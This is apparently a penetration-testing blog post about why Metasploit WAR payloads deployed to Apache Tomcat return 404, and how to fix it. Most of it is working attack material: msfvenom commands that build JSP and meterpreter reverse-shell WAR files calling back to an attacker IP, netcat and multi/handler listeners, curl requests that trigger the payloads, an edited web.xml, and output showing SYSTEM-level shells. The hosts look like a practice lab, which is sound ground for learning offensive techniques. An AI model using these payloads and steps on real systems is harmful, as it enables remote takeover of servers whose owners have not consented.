Why an MsfVenom WAR payload might return a 404
You might have created a payload in a WAR format using MsfVenom, in order to exploit a vulnerability on a server running Apache Tomcat, only to find you get a 404 when navigating to the deployed web application. In this post we'll look at why this happens and how we can successfully run the web application, thereby executing the payload.
This post assumes you have access to the web server and can deploy web applications to Apache Tomcat.
welcome-filedeclaration is most likely missing from the
web.xmlfile in the WAR archive. Either:
Request the payload page specifically (look inside the WAR archive for the name of the JSP page).
web.xmlfile to include a
welcome-filedeclaration and re-deploy your modified WAR file.
A working WAR file¶
Let's take a look at an example of a WAR file that results in a working web application. We'll use the
msfvenom command to create a JSP (JavaServer Pages) payload that starts a reverse shell when requested.
$ msfvenom -p java/jsp_shell_reverse_tcp \ LHOST=10.10.12.54 \ LPORT=4444 \ -f war \ -o jsp_shell.war
Open up the Tomcat Manager App and deploy the
jsp_shell.war file. Once that's done we can then open a terminal and use netcat to start listening on port 4444.
$ nc -nlvp 4444 listening on [any] 4444 ...
In another terminal we can use curl to request the
jsp_shell web application. Alternatively, you can open the web application in a web browser of your choice.
$ curl -I http://10.10.10.95:8080/jsp_shell/ HTTP/1.1 200 OK Server: Apache-Coyote/1.1
If we switch back to netcat we'll see the payload ran successfully and we now have a reverse shell.
$ nc -nlvp 4444 listening on [any] 4444 ... connect to [10.10.12.54] from (UNKNOWN) [10.10.10.95] 49240 Microsoft Windows [Version 6.3.9600] (c) 2013 Microsoft Corporation. All rights reserved. C:\apache-tomcat-7.0.88>whoami whoami nt authority\system
A 'broken' WAR file¶
Let's now look at a WAR file that when deployed, returns a 404. While this section's heading suggests the WAR file is broken, that's not really the case, it's just missing some information that makes life easier for us.
This time we'll create a staged payload that uses meterpreter to provide a reverse shell.
$ msfvenom -p windows/x64/meterpreter/reverse_tcp \ LHOST=10.10.12.54 \ LPORT=5555 \ -f war \ -o meterpreter_shell.war
Same as before, we need to deploy this new WAR file. Once that's done, let's try and access the web application.
$ curl -I http://10.10.10.95:8080/meterpreter_shell/ HTTP/1.1 404 Not Found Server: Apache-Coyote/1.1
Unfortunately that didn't work, the server returned a 404. Our web application can't be found and our payload wasn't executed.
What's so different about this WAR file?
Anatomy of a WAR file¶
Wikipedia states a WAR file "is used to distribute a collection of JAR-files, JavaServer Pages, Java Servlets, ... and other resources that together constitute a web application. "
The WAR file itself is just a zip file, which means we can unzip it and inspect the contents. Let's take a look inside the
$ unzip jsp_shell.war -d jsp_shell $ cd jsp_shell $ tree . ├── kziygtzg.jsp └── WEB-INF └── web.xml
And now let's look inside the
$ unzip meterpreter_shell.war -d meterpreter_shell $ cd meterpreter_shell $ tree . ├── dzkitothloshf.jsp ├── META-INF │ └── MANIFEST.MF └── WEB-INF └── web.xml
meterpreter_shell.war containing a
META-INF directory, the two archives are pretty much the same. It's worth mentioning that the
MANIFEST.MF file only contains the standard manifest header and is not the cause of our issue.
The JSP file in each archive is the payload and we know they aren't causing the 404 because they can't be found.
The interesting file is
WEB-INF/web.xml. This file defines the structure of the web application. Let's examine the
web.xml file in both archives.
<?xml version="1.0"?> <!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd"> <web-app> <welcome-file-list> <welcome-file>kziygtzg.jsp</welcome-file> </welcome-file-list> </web-app>
<?xml version="1.0"?> <!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd"> <web-app> <servlet> <servlet-name>ajqrbsqdau</servlet-name> <jsp-file>/dzkitothloshf.jsp</jsp-file> </servlet> </web-app>
There's a significant difference between these two files. The web application that didn't 404 has a
welcome-file-list element whereas the other web application has a
Reading about the structure of a
web.xml file it's apparent the
welcome-file-list element defines default pages to be served by the web server when no specific page is requested. This sounds like the cause of the 404, our
meterpreter_shell web application doesn't serve any page by default.
So how do we make a successful request to our
meterpreter_shell web application?
One way around this problem is to request the JSP file directly. In order to do this you will need to unpack the WAR file in order to determine the name of the JSP file (which we did above).
Let's try requesting this file directly.
$ curl -I http://10.10.10.95:8080/meterpreter_shell/dzkitothloshf.jsp HTTP/1.1 200 OK Server: Apache-Coyote/1.1
Great, that worked!
Another solution is to set our payload JSP file as the default page in our web application.
$ cp -r meterpreter_shell meterpreter_shell_welcome $ cd meterpreter_shell_welcome $ vim WEB-INF/web.xml
After editing, your
web.xml file should now look like the following.
<?xml version="1.0"?> <!DOCTYPE web-app PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd"> <web-app> <servlet> <servlet-name>ajqrbsqdau</servlet-name> <jsp-file>/dzkitothloshf.jsp</jsp-file> </servlet> <welcome-file-list> <welcome-file>dzkitothloshf.jsp</welcome-file> </welcome-file-list> </web-app>
Now we just need to package our modified web application into a new WAR file.
$ zip -r meterpreter_shell_welcome.war * adding: meterpreter_shell_welcome/ (stored 0%) adding: meterpreter_shell_welcome/META-INF/ (stored 0%) adding: meterpreter_shell_welcome/META-INF/MANIFEST.MF (stored 0%) adding: meterpreter_shell_welcome/dzkitothloshf.jsp (deflated 90%) adding: meterpreter_shell_welcome/WEB-INF/ (stored 0%) adding: meterpreter_shell_welcome/WEB-INF/web.xml (deflated 39%)
Then undeploy the existing
meterpreter_shell web application and deploy this new version.
Let's jump into metasploit and test this out properly.
$ metasploit msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp PAYLOAD => windows/x64/meterpreter/reverse_tcp msf5 exploit(multi/handler) > set LPORT 5555 LPORT => 5555 msf5 exploit(multi/handler) > set LHOST 10.10.12.54 LHOST => 10.10.12.54 msf5 exploit(multi/handler) > run [*] Started reverse TCP handler on 10.10.12.54:5555
Then we make a HTTP request to our payload.
$ curl -I http://10.10.10.95:8080/meterpreter_shell_welcome/ HTTP/1.1 200 OK Server: Apache-Coyote/1.1
We no longer receive a 404! Let's check metasploit and see if we obtained a shell.
msf5 exploit(multi/handler) > run [*] Started reverse TCP handler on 10.10.12.54:5555 [*] Sending stage (201283 bytes) to 10.10.10.95 [*] Meterpreter session 1 opened (10.10.12.54:5555 -> 10.10.10.95:49238) at 2020-06-26 10:01:30 +1000 meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
As you can see, the payload executed successfully and we were given a meterpreter shell.